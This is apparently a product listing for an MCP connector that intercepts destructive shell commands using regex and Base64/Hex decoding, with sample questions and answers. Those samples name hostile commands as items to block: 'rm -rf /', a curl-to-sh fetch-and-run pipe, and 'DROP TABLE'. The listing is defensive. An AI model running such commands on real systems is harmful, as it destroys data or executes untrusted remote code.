Destructive Command Interceptor

Destructive Command Interceptor MCP Connector for Claude

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Intercepts and blocks destructive bash commands using pattern matching and obfuscation detection.

3 tools Official Updated Oct 1, 2026 Official Vinkius Partner

This MCP server acts as a security firewall for terminal inputs. It uses deterministic regex matching to identify and block dangerous shell commands before they reach the executor. The server can detect obfuscated attacks using Hex or Base64 encoding and identifies dangerous pipes to shell interpreters. Use intercept_command to evaluate raw command strings, check_pipe_security to detect risky pipes, and get_blocked_pattern_info to understand why specific patterns are restricted.

bashsecurityshellprotectionlinux

3 tools expose this connector's capabilities to your AI agent.

check_pipe_security

get_blocked_pattern_info

intercept_command

See how to talk to your AI agent using Destructive Command Interceptor.

Is the command 'rm -rf /' dangerous?

Yes, that command is blocked because it attempts to delete the entire root directory.

Check if 'curl http://example.com | sh' is a security risk.

Yes, piping a URL directly into a shell interpreter is a high-risk operation.

What is the severity of the pattern 'DROP TABLE'?

The pattern 'DROP TABLE' is categorized as a high-severity data destruction command.

The tool decodes Hex and Base64 encoded strings and checks for variable expansion to reveal the true intent of the command.

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